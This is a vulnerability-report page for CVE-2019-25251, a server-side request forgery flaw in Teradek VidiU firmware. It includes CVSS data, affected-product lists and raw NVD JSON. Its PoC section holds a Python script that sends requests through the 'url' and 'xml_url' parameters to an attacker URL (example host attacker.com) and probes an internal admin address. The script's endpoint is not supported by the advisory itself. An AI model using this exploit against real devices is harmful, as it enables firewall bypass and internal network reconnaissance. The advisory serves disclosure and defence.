Security Vulnerability Report
中文
CVE-2019-25251 CVSS 6.5 MEDIUM

CVE-2019-25251

Published: 2025-12-24 20:15:54
Last Modified: 2026-01-26 16:15:54

Description

Teradek VidiU Pro 3.0.3 contains a server-side request forgery vulnerability in the management interface that allows attackers to manipulate GET parameters 'url' and 'xml_url'. Attackers can exploit this flaw to bypass firewalls, initiate network enumeration, and potentially trigger external HTTP requests to arbitrary destinations.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:teradek:vidiu_pro_firmware:2.4.10:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:teradek:vidiu_pro_firmware:3.0.2:build31225:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:teradek:vidiu_pro_firmware:3.0.3:build32136:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:teradek:vidiu_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:teradek:vidiu_firmware:2.4.10:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:teradek:vidiu_firmware:3.0.2:build31225:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:teradek:vidiu_firmware:3.0.3:build32136:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:teradek:vidiu:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:teradek:vidiu_mini_firmware:2.4.10:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:teradek:vidiu_mini_firmware:3.0.2:build31225:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:teradek:vidiu_mini_firmware:3.0.3:build32136:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:teradek:vidiu_mini:-:*:*:*:*:*:*:* - NOT VULNERABLE
Teradek VidiU Pro 3.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2019-25251 SSRF PoC - Teradek VidiU Pro # Target: Teradek VidiU Pro management interface # Vulnerability: SSRF via 'url' and 'xml_url' GET parameters import requests import sys def exploit_ssrf(target_url, attackercontrolled_url): """ Exploit SSRF vulnerability in Teradek VidiU Pro target_url: Base URL of the vulnerable device attackercontrolled_url: URL to make the server request """ # Target endpoint for SSRF endpoint = "/api/config" # Method 1: Using 'url' parameter params_url = { 'url': attackercontrolled_url } # Method 2: Using 'xml_url' parameter params_xml_url = { 'xml_url': attackercontrolled_url } print(f"[*] Targeting: {target_url}") print(f"[*] Attacker controlled URL: {attackercontrolled_url}") # Send exploit requests try: print("[*] Sending SSRF payload via 'url' parameter...") response1 = requests.get(target_url + endpoint, params=params_url, timeout=10) print(f"[+] Response status: {response1.status_code}") print("[*] Sending SSRF payload via 'xml_url' parameter...") response2 = requests.get(target_url + endpoint, params=params_xml_url, timeout=10) print(f"[+] Response status: {response2.status_code}") # Example: Internal port scanning print("[*] Example: Scanning internal service...") internal_target = "http://192.168.1.1:8080/admin" scan_params = {'url': internal_target} requests.get(target_url + endpoint, params=scan_params, timeout=5) except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2019-25251.py <target_url> <attacker_url>") print("Example: python cve-2019-25251.py http://vidiu-pro.local http://attacker.com/malicious") sys.exit(1) exploit_ssrf(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25251", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:53.553", "lastModified": "2026-01-26T16:15:54.130", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Teradek VidiU Pro 3.0.3 contains a server-side request forgery vulnerability in the management interface that allows attackers to manipulate GET parameters 'url' and 'xml_url'. Attackers can exploit this flaw to bypass firewalls, initiate network enumeration, and potentially trigger external HTTP requests to arbitrary destinations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:teradek:vidiu_pro_firmware:2.4.10:*:*:*:*:*:*:*", "matchCriteriaId": "AB502907-F471-4CD6-96DB-482B8E0E1D74"}, {"vulnerable": true, "criteria": "cpe:2.3:o:teradek:vidiu_pro_firmware:3.0.2:build31225:*:*:*:*:*:*", "matchCriteriaId": "3E2233DB-2467-4595-B0C5-AD15019F0EED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:teradek:vidiu_pro_firmware:3.0.3:build32136:*:*:*:*:*:*", "matchCriteriaId": "ADC66DD8-EA14-47C0-8C31-C1B472FB7CC4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:teradek:vidiu_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "58CE55D2-C40E-4D63-ACA4-CCC076ACF6BD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:teradek:vidiu_firmware:2.4.10:*:*:*:*:*:*:*", "matchCriteriaId": "9CF9D82E-74EA-4BC6-8BA2-13421428591A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:teradek:vidiu_firmware:3.0.2:build31225:*:*:*:*:*:*", "matchCriteriaId": "20A7FFB3-8409-47F4-B4CC-1E2E61DB06F9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:teradek:vidiu_firmware:3.0.3:build32136:*:*:*:*:*:*", "matchCriteriaId": "287269D2-ECA3-49B5-AA3D-0BE655AC50CC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:teradek:vidiu:-:*:*:*:*:*:*:*", "matchCriteriaId": "DC6A98F2-4C8D-4E91-9E8C-8503F8ABEEBD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:teradek:vidiu_mini_firmware:2.4.10:*:*:*:*:*:*:*", "matchCriteriaId": "6A6176D1-8E72-4146-8C8D-758EB9D17DBC"}, {"vulnerable": true, "criteria": "cpe: ... (truncated)